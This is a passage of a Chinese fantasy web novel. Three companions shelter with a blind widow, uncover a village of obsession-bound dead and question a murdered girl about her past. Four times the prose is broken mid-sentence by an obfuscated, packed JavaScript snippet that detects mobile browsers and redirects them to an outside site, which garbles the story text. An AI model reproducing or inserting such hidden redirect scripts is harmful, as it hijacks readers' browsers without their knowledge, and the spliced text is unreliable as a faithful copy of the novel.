一处略显孤寂的院落,土黄的墙,灰黑的瓦,两盏红通通的灯笼在风雨中摇曳,墙角堆着杂乱的柴垛,门旁立着两个粗陶罐。 一个头发花白、穿着一件旧蓝布衫的老妇人正摸索着坐在屋檐下, 她脸上虽有风霜之色,但气色红润,呼吸平稳,并不似重病缠身之人。 “婆婆。”云微放轻脚步上前,温声唤道。 李老太闻声,茫然地抬起头,一双眼睛灰蒙蒙的,没有焦距:“你是谁呀? “我们是去西南投奔亲戚的,可马车坏在山道上了,又遇大雨。听村口的老丈说您家宽敞,想求您行个方便,借宿一晚避避雨。” “快进来,快进来!屋子空着呢,我儿不在家,你们尽管住下。”李老太摸索着站起身,热情地引他们进屋。 屋内很宽敞,两间正房加一个灶房,只是桌椅板凳都显老旧,仿佛很久无人打扫。 南宫雅自告奋勇去灶房烧饭。 云微扶李老太在堂屋的旧木椅上坐下,自己也拉过一张凳子相陪。 谢澜忱则抱臂倚在门框边,看着窗外连绵不绝的雨丝,眉头紧锁,整个人散发着生人勿近的气息,与这屋内的烟火气格格不入。 “我儿啊,最是孝顺。”李老太絮絮叨叨地说着,灰蒙蒙的眼中似乎也添了点神采,“知道我这老婆子眼睛不好,身子骨也差,三天两头就去山里给我采药…算算日子,他也该回来了。你们路上可曾见过他?” 谢澜忱闻言,薄唇微动,就要开口。 在他看来,隐瞒真相毫无意义,甚至是对生者的另一种残忍。 但云微更快一步,她霍然从椅子上站起,一步跨到谢澜忱身边,一手迅疾地捂住了他的嘴,同时对着李老太的方向坦然地说道:“婆婆,我们见着了。” “真的?他在哪儿?他好不好?” 谢澜忱被她捂着嘴,一双眼睛瞪向她。 云微感受到他身体的僵硬和眼神的灼热,松开手,对他微微摇了下头,随即转向李老太,又道:“他很好。就是路上遇到点事儿耽搁了,托我们先把采好的草药给您送来。他说了,明日一准儿就回家。” 李老太咧开嘴,一连说了几声“好”,不住地点头,仿佛儿子就在眼前。 谢澜忱死死盯着云微,胸膛微微起伏,最终只是重重地冷哼一声。 雨声淅沥,夜渐深沉。 三人简单用了些南宫雅煮的热汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854857|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 李老太早早便回到里屋歇息,南宫雅说是要去后山看看有没有稀罕的毒草,也钻入了夜雨中。 堂屋里只剩下云微和谢澜忱。 “为什么撒谎?”他的声音突兀地响起,打破了沉寂。 云微正用一块干净的布巾擦拭着粗陶碗,动作未停,“我只是想让婆婆在知道真相前,能睡个踏实觉。” 谢澜忱大步朝她走来,冷着语气打着半吊子的玩笑: “你怎么不干脆撒个弥天大谎?就说她儿子被仙人接去当药童呢。” 云微心念微动,指尖不着痕迹地在桌沿轻点,一道无形的屏障悄然笼罩了两人,确保李老太听不到他们的声音。 谢澜忱又道:“真相就是真相。你的谎言能维持多久?明日她儿子回不来,她一样会知道。与其给她虚假的希望再狠狠摔碎,不如一开始就让她面对现实。你这般,不过是伪善的自我感动。” “当年我娘病重,所有人都瞒着她,说她很快会好。结果呢?她连一句真正的道别都来不及对我说。” 她放下陶碗,抬眸迎上他咄咄逼人的目光,毫不胆怯,“她儿子死了,这是事实。但至少今夜,她可以抱着儿子明日归家的希望安睡,不必在冰冷的绝望里辗转反侧。难道予人一夜慰藉,便是伪善?” 她能理解他儿时的绝望,也明白他对谎言的零容忍,却无法认同他想将残酷的真相刺向另一个同样绝望的人。 “我明白你因何激愤。你触景生情,忆及令慈,心中悲恸难抑。但你口中的真相对这位年迈失明、倚门盼子的婆婆而言,太过残忍。她此刻需要的,不是残酷的真相,而是一个能让她安稳度过今晚的梦。你明白么?” “我……”谢澜忱眸光一闪,似是动摇,他垂眸盯着掌心因攥握而留下的月牙血痕,末了,又狠狠别开脸,“你自诩‘替她考虑’,可曾想她是否愿意?用谎言搭座危桥,待明日日头一晒,这桥塌了,你猜她会不会恨透了你施舍的这场‘美梦’?” 他想起从前在归云宗时,云微也是这般“不容置疑”的姿态:明明是并肩作战的同门,她却总能在众人犹疑时,以斩钉截铁的口吻定下决策,连一句反驳的余地都不留。 云微心口一窒。 她何尝不知道真相有多重要?可李老太年岁已高,如何能承受得住? 她收回目光,声音冷了下去:“道不同,不相为谋。你既觉得是伪善,那便是吧。” 谢澜忱被她最后这句话噎住,唇瓣动了动却说不出什么,面上露出一种难堪与懊恼交替的复杂神情。 云微看着晃动的木门和被少年带走的孤鸿剑,心中思绪万千。 死过一回后,很多事情她确实没那么在意了。 若是换作从前,谢澜忱敢如此咄咄逼人地质疑她,她必定当场反唇相讥,甚至不惜与他大打出手,让他颜面扫地。 那时,他们斗得你死我活,恨不得将对方置于死地而后快。 如今谢澜忱依然带着刺,可自己却再无心力与他斗下去。 云微想,争执毫无意义,尤其对象是他。 这既改变不了逝者已逝的事实,也改变不了他们之间根深蒂固的对立。 与其浪费力气,倒不如做些实在事。 她放下擦净的碗,挽起袖子,准备替李老太劈些柴火,再将其积攒的旧衣浆洗一番。 明日他们离开前,总得为这苦命的老人再做点什么,好让她独自一人时,日子能稍稍好过些。 吱呀。 虚掩的木门被一只手猛地推开。 云微动作顿住,循声望去。 一个浑身湿透、沾满草屑泥污的身影,踉跄着跨过门槛走了进来,雨水混着暗红的泥水顺着他的裤腿流下,积起一小滩浑浊的水洼。 苍白的脸,毫无血色的嘴唇,空洞呆滞的眼神,正是死去的李大。 与此同时。 谢澜忱腰间悬挂的孤鸿剑毫无征兆地剧烈震颤起来,一股强烈的不安与心悸瞬间攫住了他的心脏,让他疼得几乎喘不过气来。 她出事了?少年脸色骤变。 8. 念障 血腥气混着土腥味,在堂屋里弥漫。 李大站在门口,浑身湿透,衣上血污刺目。 云微身形一晃,退至墙角,指尖微光隐现,一缕无形剑意悄然凝聚。 她百思不得其解:此人分明已死,如何能回? “砰!” 木门碎裂,木屑纷飞。 “退后!”谢澜忱的冷喝与剑光同至。 他头也不回,孤鸿剑势将李大狠狠扫飞,旋即旋身,剑尖死死指住那道身影,气息微促,显是疾奔而回。 云微指尖微光倏然熄灭,冷眼瞧着谢澜忱横亘于前的背影。 剑道天才,何须他人回护?纵使如今只剩残魂寄于孤鸿剑,修为大损,她云微也绝非任人宰割之辈。 “谁?!谁在外面?是我儿回来了吗?”里屋传来李老太惊慌的呼唤,伴随着摸索起身的窸窣声。 “娘……”墙角的李大被那一剑劈得身形虚幻了几分,他却恍若未觉,仍挣扎着抬起头,朝着里屋方向发出嘶哑干涩的呼唤,空洞的眼神里似乎只剩下对母亲的依恋。 李老太跌跌撞撞地冲了出来,一双灰蒙蒙、早已失明的眼睛急切地“望”向声音来源,枯瘦的手臂胡乱摸索着:“儿啊!是你吗?你回来了?” 云微心下一沉,暗道不妙。 李大绝非活物,李老太若靠近,凶险难料。 她欲上前阻止,手腕却被一只冰凉的手扣住。 “李老太受不得刺激,先制其子。”少年附耳低语,气息微凉。 他竟也顾虑他人感受了?这倒是新鲜。 云微指风疾点李大要穴,可对方仍痴痴望着母亲,浑然未觉。 她瞳孔微缩:他非尸非鬼,非魂非魄,竟似纯粹由一股强烈的执念凝聚而成,这已非寻常邪祟。 李老太枯瘦的手已抓住儿子冰冷僵硬的胳膊,一遍遍颤抖地抚摸着他沾满泥泞与凝固血污的脸庞,浑浊的老泪滚滚而下,口中反复念叨着:“回来就好……回来就好……娘就知道,我儿会回来的……” 眼前李老太暂时沉浸虚幻重逢,暂无性命之忧。 但整个村子处处透着不祥,南宫雅独自在外探查,若也遭遇此等诡异,后果不堪设想。 当务之急,必须立即找到南宫雅,确保其安全,并汇合三人之力,共破此局。 她当机立断,朝谢澜忱递去眼色,身形已动,无声掠出屋外。 少年紧随其后。 屋外,雨不知何时已停歇。 放眼望去,家家户户窗棂透出昏黄灯火,盏盏相连,在这死寂寒夜里格格不入。 云微仰头望着那些错落散布、如同鬼眼般的灯火,眉心紧紧蹙起。 空气中弥漫着死寂和一种难以言喻的粘稠感。 “谢澜忱,你可听见村中人声?”她灵识强大,早已捕捉到那无数细微却持续不断的低语,如同万千蚊蚋在耳边嗡鸣。 谢澜忱凝神侧耳片刻,脸色阴沉,“家家户户皆有低语,絮絮叨叨……” 这太奇怪了。 云微不再多言,足尖在湿滑的泥地上轻轻一点,无声无息地掠上旁边一处茅草屋顶,落脚处连一片草叶都未惊动。 她俯下身,指尖微动,一片屋瓦已被悄然揭开一道缝隙。 几乎在她动作的同时,少年也落在不远处另一处稍高的屋脊上。 两人隔着几丈距离,目光于半空中短暂一触即分,随即不约而同地投向下方那几处灯火通明的院落。 云微心念微动,强大而凝练的灵识瞬间如无形的丝线探向一户人家。 透过屋瓦,她清晰地看到屋内景象: 一个中年男人穿着脏污的粗布短褂,身影在狭小的窗格内不停地、机械地来回走动,脚步焦躁,每一次生硬的转身都显得无比僵硬。 “怎么……还没生完……稳婆呢……快去看看……” 云微的目光移开,灵识如丝线般无声蔓延,投向更远处另一扇同样透出昏黄光亮的窗口。 一个年轻的女人正对着一面模糊不清的铜镜梳妆,手臂抬起、放下,梳齿划过空气,如同被无形的丝线操控着,重复着毫无意义的动作。 “还不够好看吗……夫君……你为何……还不归家……” 借着灵识探查,整个村中亮灯处的景象尽收眼底。 村口那披着破旧蓑衣的老汉依旧坐在自家低矮的屋檐下,就着一盏如豆的油灯,费力地捧着一本早已破烂不堪的旧书,嘴唇无声地快速翕动着,神情专注。 每一个亮着灯的屋子里,都在上演着重复的动作。 读书、待产、盼归、织布……每一个“人”,都如同上了发条的玩偶,循环往复,不知疲倦。 “可算逮到你们了!”少女清脆的声音从下方传来。 “躲在上面偷偷商量什么呢?难不成想撇开本谷主单干?”南宫雅挑眉斜睨,指尖转着枚银针,“少了本谷主,你们这趟可没那么容易全身而退。” “阿雅,你可有什么发现?”云微轻声问道。 南宫雅点点头,如狸猫般跃上屋顶,落在云微身旁,发梢沾露,脸上笑意尽褪,唯余凝重:“我原本想去后山探查,结果却被一道屏障所拦。” 云微则抢先一步开口:“是‘念障’?” 她身为归云宗大师姐,见识广博,对各类邪魔手段、奇闻异录了如指掌。 南宫雅“嗯”了一声,见谢澜忱一人不明所以,转头又不耐烦地说道:“得了得了,就你不懂是吧?听好了!人死前若执念过深,残魂易受此念牵引,滞留人间,不入轮回。这执念,便是困住他们的‘锚’。而此地魔物显然深谙此道,且手段极其阴毒。”她指向下方那些灯火通明的屋舍和其中僵硬活动的身影。 “它以秘法将这些村民的执念强行拘禁、放大,化作无形的锁链,将亡魂死死困在躯壳之内,不得解脱。而亡魂与执念互相依存,彼此纠缠,最终汇聚形成了一个庞大而特殊的结界,这便是‘念障’。” “那魔物故意破坏车驾,引我们入村,是想将我们困在这‘念障’中。”云微接话,寥寥数语点破困局,“若强行破障,百姓立时消散;若不破,我们会慢慢被其汲取吞噬,化为养料。” 此魔视人命如草芥,玩弄生死之痛,她必诛之。 “那魔物本体何在?”谢澜忱手按孤鸿剑柄,沉声问道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854858|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻言,南宫雅双手一摊,翻了个大白眼:“……你当我是掐指一算就能知天机的神算子吗?那魔物忽东忽西,似乎已与这片村落融为一体,便是神仙来了,怕也难寻它踪迹。” 此局异常棘手。 若要保全这些亡魂,使其得以投胎转世,必先诛魔物;然魔物寄身于村,若毁村落,百姓形消,魂魄亦无所依;若留其形,魔物便能借百姓汲取力量。 如何破局? 谢澜忱按剑沉吟:“当真无破解之法?” 还不等云微开口,异变陡生。 那些原本只是僵硬地、在自己的方寸之地重复着生前执念的“人”,仿佛接收到了某个统一的指令。 紧接着,他们以一种完全违背人体关节极限的角度,极其诡异地、齐刷刷扭转脖颈和身体,空洞死寂的眼眶,精准无比地锁定了屋顶三人。 “嘎吱——!” “砰!砰!砰!” 门板被粗暴地撞开,脆弱的窗棂被硬生生撕裂。 读书的老汉丢了视若珍宝的旧书,待产的男人撞翻了桌椅,盼归的女人扯乱了自己精心梳理的发髻。 整个村子的“人”在这一刻活了过来。 他们口中发出意义不明的“嗬嗬”怪响,手脚僵硬却爆发出惊人的速度,如同嗅到血腥味的鬣狗,从四面八方、各个角落疯狂地涌出,扑向他们。 “你们留在上面。”谢澜忱身形已动,孤鸿剑化作寒光匹练,剑气纵横,将几个攀上檐角的村民尽数击落。 云微心念一动:十年来她剑下妖魔无数,只为证女子不输男儿,何须他谢澜忱这般相护? 她足尖轻点,衣袂翻飞,飘然跃下,恰恰落于谢澜忱身前,直面汹涌人潮。 南宫雅杏眼圆睁,大声喊道:“好啊,不带本谷主玩?” 说完,她也跟着跳了下来。 “你们切记,”云微语声清冷,“不得毁掉躯壳,那是亡魂依附之所,躯壳若毁,立时魂飞魄散,正合魔物心意。” 少年身形挺拔如松,手中长剑寒光乍现,剑尖微颤,划出道道凌厉气劲,将冲在最前的村民震得踉跄倒退。 剑招虽狠辣依旧,却始终谨记云微之言,剑锋所至,只伤皮肉,不损筋骨,更不敢取其性命,只求将人逼退。 谢澜忱剑眉紧锁,极为憋闷:“束手束脚,如何破局?” 云微冷冷地瞥了他一眼,那眼神仿佛在说“既无破局之智,何必逞强出头”。 她双手于胸前结印,清冷的淡蓝光华自她指尖流淌而出,迅速汇聚于掌心。 举手投足间,依旧是那位归云宗大师姐俯瞰众生的清冷气度。 “封!” 一声清叱未落,寒气已如潮水般从她掌心轰然漫开,湿漉的泥地瞬间凝结冰霜,白雾升腾。 那些扑来的身影猛地顿住,动作像被无形的手掐断,关节发出“嘎吱”的错位声,最终个个保持着前扑的狰狞姿态,双腿被薄冰牢牢锁在原地,动弹不得。 周遭温度骤降,呵气成雾。 南宫雅看得眼睛发亮,忍不住惊叹:“这么强?不愧是你!” “撑不了多久的,快走……” 9. 扮猪吃老虎 三人在湿滑的青石板上疾掠,身后是潮水般涌来的村民,一双双眼睛在昏暗天光下泛着空洞的死气,直勾勾盯着前方奔逃的猎物。 “寻一处空屋!”云微语速极快,目光扫过两旁紧闭的门扉。 南宫雅脚下泥水飞溅,口中犹不饶人:“这鬼地方,门怎么都封死了?” 恰在此时,一个细弱的童音突然传来: “仙长,这边……快进来躲躲。” 云微脚步一顿,向右望去。 一道窄窄的门缝里,挤着一张小小的脸。不过七八岁年纪,枯黄的头发湿漉漉贴在额角脸颊,小脸瘦削脱形,衬得一双眼睛又大又黑,里面盛满了几乎要溢出来的惊惧。 她身上裹着一件明显过大、打满补丁的旧袄,空荡荡地挂着,露出的手腕细得仿佛一折就断。 念障笼罩的死地,生机断绝,怎会有如此幼小的活口独存? 还不等她开口,谢澜忱已如一道阴影挡在她身前,孤鸿剑寒光一闪,剑尖直指门缝:“活人早该死绝,你是什么东西?” 小女孩被剑锋所慑,猛一哆嗦,小脸煞白:“我…我叫遗妹…一直躲在地窖里…外面叔伯姨婶都…都变怪物了…”她惊恐后缩,却被门缝卡住,动弹不得。 身后,拖沓脚步声与嘶吼已近在咫尺。 “没时间了!”云微当机立断,声音清越,“我布阵护住这间屋子!你带阿雅先进去!” 话音未落,她双手结印,指尖灵力喷薄—— “嗡!” 一道巨大的金色符文自云微足下瞬间张开,向上向两侧急速蔓延,化作一面半透明的金色光幕,将巷口死死封住。 冲在最前面的十几个村民如同撞上了一堵无形的墙壁,被狠狠弹飞出去。 光幕出现的刹那,云微的脸色已肉眼可见地褪尽了血色,苍白得如同被雨水浸透的薄纸。 巨大的灵力被瞬间抽空,识海中传来针扎般的尖锐刺痛,四肢百骸的气力仿佛被瞬间抽干,眼前阵阵发黑,金星乱舞。 她身体不受控制地一晃,眼看就要向前栽倒。 一只骨节分明、带着凉意的手,猛地攥住了她的胳膊。 暖流顺着那只手强硬地灌入她几近枯竭的经脉,勉强吊住了她即将溃散的意识。 她借力站稳,抬眼便撞进一双近在咫尺、翻涌着复杂情绪的眸子里。 是谢澜忱。 他不知何时已到了她身侧,一手紧握孤鸿剑,剑尖斜指地面,警惕着光幕外疯狂扑击的傀儡。 另一只手,却死死抓着她的手臂,指尖用力得几乎要嵌进她的皮肉。 那个自诩“事不关己高高挂起”的少年,此刻薄唇抿成一条凌厉的直线,眼底翻涌着惊怒与一丝难以察觉的后怕。 他眉头紧蹙,声音又冷又硬:“逞强找死很痛快?是不是非要魂飞魄散才觉得对得起你这‘兼济天下’的虚名?” 他这话说得伤人,云微只觉胸中一股郁气猛地冲撞上来,她猛地一挣,狠狠甩开了他的手。 力道之大,让她自己又踉跄了一下。 云微反唇相讥:“我这样,总好过某些人,永远一副事不关己、冷眼旁观的嘴脸。天下苍生,在他眼里,怕是不如一粒尘埃。” 少年的脸色霎时阴沉下去,眸中寒意更盛:“你说得对,若非同生契捆着你我,我才不会管你的死活。” “彼此彼此。”云微冷冷吐出四个字,再不看他,转身踏入小屋。 屋内光线极其昏暗,仅靠桌上一盏豆大的油灯摇曳。 浓重的霉味和一种衰败的死气弥漫在空气中。 墙壁斑驳,角落里堆着些破烂杂物。 南宫雅背靠着门板,听着小巷里沉闷的撞击声,对着云微低声道:“你们两个冤家,逃命都不忘斗嘴?力气多得没处使是吧?” 阿雅担忧不假,但此刻心神需全系于“遗妹”身上。 她此刻瑟缩在离门最远、也是唯一还算干燥的墙角,抱着膝盖,小小的身体蜷成一团,像一只受惊过度的小兽。 乌黑的大眼睛一会儿看看坐在椅上,气息不稳的云微,一会儿又看看倚着墙壁,脸色阴沉的谢澜忱,大气也不敢出。 少年扫视一圈,最终钉在遗妹身上,声音不带一丝温度:“你躲了多久?靠什么活?” 遗妹被他看得浑身一抖,小脸愈发惨白,下意识地往墙角缩得更紧,嘴唇哆嗦着,声音细若游丝:“有…有老鼠…还有…还有李婆婆以前偷偷塞给我的…一点点干饼…藏在地窖里…”她说话时,抱着膝盖的手臂不自然地收紧,似乎想把自己藏进墙缝里。 云微心中疑窦丛生,目光落在小女孩裸露在破旧袖口外的手腕和小臂上。 借着油灯微弱的光,那些纵横交错的旧伤疤,青紫的淤痕,甚至几道结了深褐色痂、狰狞的烫伤,清晰地暴露出来。 伤痕……遭受虐待的痕迹? 云微坐起身,拖着沉重虚软的身体,一步步走向墙角。 动作牵扯着枯竭的丹田,带来阵阵隐痛,眼前微眩,但她强忍着,在遗妹惊恐又茫然的目光中,缓缓蹲下身。 指尖带着一丝微弱却纯净的灵力,小心翼翼地、轻轻地抚上小女孩手臂上那道最为狰狞的烫伤旧疤。 微光如同温柔的泉水,缓缓渗入疤痕。 遗妹呆呆地看着,忘了害怕。 指尖触到疤痕的刹那,云微心头一紧。 指腹下的肌肤硬得像冻透的石块,别说脉搏,连一丝活气都探不到,唯有彻骨的冷,像攥着一块冰。 她默不作声地收回手,眉峰蹙得更紧。 这绝不是活人的温度。 念障之下,村民皆成傀儡,她一个孩子,体内为何会有阴寒之气流转?为何能独活? 云微垂眸掩去眸底冷意,此刻戳穿只会打草惊蛇,她指尖微动,敛去探查的灵力。 “姐姐,你…”遗妹呆呆地看着自己手臂上那道旧疤,在那柔和微光覆盖下,狰狞似乎平复了一丝,痛楚也减轻了。 她难以置信地抬头,看着眼前这个脸色白得像鬼、却有着一双温柔眼睛的神仙姐姐。 “你做什么!”谢澜忱三步并作两步,一把扯开两人,眼神冰冷地睨着云微,“从前在归云宗高高在上,看谁都像蝼蚁。怎么,如今虎落平阳,倒装起活佛济世了?自己魂魄都稳不住,还有闲心管她这点皮肉伤?”他越说越气,那股莫名的烦躁几乎要冲破胸膛。 云微被他猛地拉起,身形踉跄了半步才稳住,抬眼时眸底已凝起一层薄冰,故作嫌恶地甩开他的手,语气里带着被惊扰的冷硬:“这伤,我看在眼里,便在我心上。我救,是为安我自己的心。” 谢澜忱的手僵在半空,指腹还残留着方才触到的微凉触感。 他垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854859|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥了眼自己被甩开的手,睫毛阴影里飞快掠过一丝错愕,随即被更深的讥诮覆盖。 “你嫌弃我?”他嗤笑一声,指尖在袖摆上若无其事地蹭了蹭,仿佛真沾上了什么污秽,“你以为这般作态,我便会信你是真心救人?” 他这多疑的性子倒是半点未改,眼下她正是套话的关键,岂能被他搅了局? 算了,让他误会便误会吧,总好过打草惊蛇。 云微不打算搭理他,轻轻抚了抚遗妹枯黄的发顶,语气放得平和:“别怕,告诉姐姐,你家里…还有别人吗?爹娘呢?” 提到“爹娘”,遗妹小小的身体猛地一僵,飞快低下头,把脸埋进膝盖里,肩膀抑制不住地微微耸动。 过了片刻,闷闷的、带着浓重鼻音的声音才传出来:“没…没有了…爹…爹和娘…都不在了…” “那…你一个人,靠那点干饼…”南宫雅忍不住插话,眉头紧锁,“怎么熬过来的?还有,外面那些人…都成了那样,”她指了指门外沉闷的撞击声,“你怎么没事?” 这个问题尖锐而关键。 遗妹的身体抖得更厉害了,慌乱地在破旧袄子的内袋里摸索着,掏出一个东西。 那是一个小小的香囊,布料早已褪色发黄,边角磨损得厉害,针脚却异常细密精致,绣着一丛歪歪扭扭的兰草。 香囊干瘪,里面的香料显然早已散尽,只余下一点若有若无的草木清气。 “是…是这个…”遗妹的声音带着哭腔,紧紧攥着那小小的香囊,仿佛抓着救命稻草,“娘…娘说…是二十年前…一位路过这里的仙长给的…说能…能辟邪…保佑平安…我一直…一直贴身带着…”她抬起泪眼,望向云微,带着懵懂的希冀,“仙长姐姐…这个…真的有用…对不对?所以…所以我没事…” 香囊?辟邪?此地念障凶戾,绝非区区一个旧香囊能抵挡。 而且这香囊上绣的兰草,针脚手法竟与她母亲极为相似。 太多疑问缠绕在云微心头:这小女孩既非活人,又持有母亲相关之物,背后定然藏着秘密。 事关母亲,她必须避开另外两人,单独问个清楚。 母亲的身世与死因一直是她心底深藏的疑团。谢澜忱身为父亲义子,立场本就微妙,难保不会将此事泄露;阿雅虽与她亲近,性子却太过直率,藏不住半分秘密。 此事牵连甚广,绝不可贸然让他们二人知晓。 思及于此,云微右手并指如剑,并非为了攻击,而是凌空疾划。 一道细微的银线随着她指尖游走,竟在遗妹身周丈许之地,悄然划出一个独立的结界。 这结界看似无形,却能将所有声音尽数隔绝,使外面的两人无论如何也无法窥探到里面的动静。 此刻,这片小小的空间里,只剩下她与遗妹两人。 与此同时,云微左手探出,在遗妹尚未反应过来的瞬间,已死死扣住她细瘦冰凉的手腕。 那触感僵硬如枯木,毫无活人的温热与弹性,指尖甚至能摸到皮下突兀的骨节。 遗妹浑身一颤,下意识地挣扎,却发现眼前这看似虚弱的女人力道竟如此之大,令她动弹不得。 云微微微俯身,她苍白的脸上没有任何表情,只有那双眼睛,亮得惊人。 “好了,现在没有旁人打扰了。” “告诉我,你是谁?为什么会有我母亲的香囊?” 10.赤水村 结界外,南宫雅双手疯狂拍打着那层无形的屏障。 她试图透过屏障看清里面的情形,视线却被翻涌扭曲的黑气阻隔,只能勉强分辨出模糊晃动的人影。 “云微!里面发生什么了?” 谢澜忱双手抱臂,倚在斑驳剥落的土墙上,俊美的脸上没什么表情,甚至连一丝惯常的阴郁都淡去了,只剩下一种近乎漠然的平静。 他瞥了一眼屏障外焦急万分的南宫雅,薄唇微启,声音平淡得听不出起伏:“她行事向来如此,独断专行,何曾在意旁人感受?若真有性命之危,这结界我自会破开。”语气轻描淡写,仿佛在谈论一件与己无关的琐事。 南宫雅扭头怒视着他,眼中几乎要喷出火来:“你这小子,云微现在什么状况你不知道?她化形不久,魂体不稳,刚才还为了保护我们修为大损!你就一点都不担心她的安危?”字字句句都带着质问。 谢澜忱眼睫微微下垂,浓密的睫毛在眼下投下一小片阴影,恰到好处地遮住了眸底一闪而过的、极其细微的波澜。 心底那点莫名的慌促是怎么回事?归根结底,是云微自己不自量力,与他何干? 少年迅速压下那丝不该有的波动,指尖无意识地蜷缩了一下,随即又强迫自己松开,恢复那副漫不经心的姿态。“担心?”他喉间溢出一声极轻的嗤笑,声音依旧没什么温度,“她既敢孤身犯险,想必自有倚仗盘算。我贸然插手,岂非更惹人厌烦?她的命,她自己最是看重,用不着旁人操心。” 南宫雅被他这番油盐不进、刻薄寡情的话堵得胸口发闷,一口气几乎提不上来,正要再骂,眼角余光却敏锐地捕捉到,那斜倚着墙、看似漫不经心的少年,垂在身侧的右手,指尖几不可察地捻起了一缕极细、极凝练的灵力,幽光在指腹间一闪而逝。 下一秒,遗妹那诡异的笑声陡然穿透屏障,回荡在两人耳边。 “我是谁?我就是遗妹啊。” “遗妹…遗妹……”她低声重复着自己的名字,语调里充满了自嘲的苦涩,“听上去就像是注定会被遗弃、被遗忘的样子。” 她生于赤水村,一个被群山遗忘、被“男丁传嗣”执念彻底浸透的贫瘠村落。 在这里,女孩的命运从降生起便已注定。 父亲的竹条是家常便饭,常常不分缘由地落在她枯瘦的脊背上、胳膊上,留下道道红肿淤青的印记。 醉酒输钱后的暴怒,田里劳作归来的疲惫,甚至仅仅是看到她那张脸,都能成为施暴的引线。 “晦气东西!看着就烦!要是个带把的,老子早过上好日子了!”父亲的咆哮和竹条破空的厉响,是她童年最深刻的声音。 母亲呢?母亲只会抱着那件早已没了气息的“弟弟”留下的小衣服,嘤嘤哭泣,然后将满腔的怨毒转向她:“都是你这丧门星克的!你怎么不替你弟弟去死!” 村人的目光同样冰冷。 张屠户家的胖小子偷了李寡妇家攒下的鸡蛋,被他爹拎着耳朵当街骂两句,事情便算揭过,甚至还有人笑说“小子皮实点好”。 但若换作是遗妹…… “女娃子手脚不干净,长大了还得了?心术不正!浸猪笼都是轻的!” 在这里,无形的歧视如同空气,无处不在,将她压得喘不过气。 唯一一点微弱的、带着施舍意味的“暖意”,来自眼盲的李婆婆。 有时,趁着她爹娘不注意,李婆婆会悄悄从门缝里塞出半个冷硬如石的窝窝头,或是一小碗飘着几片烂菜叶、散发着淡淡馊味的剩汤。 她曾天真地以为,李婆婆是不同的。 八岁那年的春天,一位云游的女仙来到了村子。 仙长没有像村里人那样投来嫌恶或怜悯的目光,她径直走到遗妹面前,缓缓蹲下身。 遗妹永远记得那一刻:仙长的眼睛,清澈明亮,里面没有一丝鄙夷,只有真切的怜惜。 “你疼不疼?”她的声音很轻,取出一个温润的羊脂玉瓶,指尖蘸着里面清凉芬芳的药膏,轻柔地涂抹在遗妹红肿的伤处。 仙长给了她从未尝过的、软糯香甜的糕点;她描绘着山外广阔的世界,讲述着那里也有许多像她一样的女孩,她们可以读书、习艺,拥有不一样的人生。 仙长甚至温柔地抚摸着遗妹枯黄的头发,眼中带着深深的怜惜,“跟我回归云宗吧,那里有许多和你一样大的孩子,你可以读书识字,可以学你想学的东西,再不会有人打你骂你。” 归云宗,成了她梦寐以求的地方。 当仙长郑重地向她爹娘提出带走她的请求时,换来的却是恶狠狠的驱赶:“滚!老子家的丫头,死也得死在家里!轮不到外人管闲事!” 仙长无奈,只来得及将一个精致的、散发着幽幽兰草清香的香囊偷偷塞给她。 仙长说了什么,但遗妹没有听清。 同年深秋,在一个阴冷彻骨的黄昏,爹娘用粗硬的麻绳将拼命挣扎哭喊的她死死捆住。 “是李婆婆…是她亲口告诉我爹娘,‘你家这丫头命里带煞,克兄弟!要想生儿子,就得…就得把她这个‘煞根’献祭给胎神老爷!烧得干干净净,下一胎保管是个大胖小子!’”遗妹边讲边笑。 她的哭求、她的恐惧,在父母被执念蒙蔽的眼中不值一提。 他们如同拖拽牲畜,将瘦小的女儿拖向后山那早已架起的、熊熊燃烧的柴堆。 那些熟悉的面孔: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881791|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 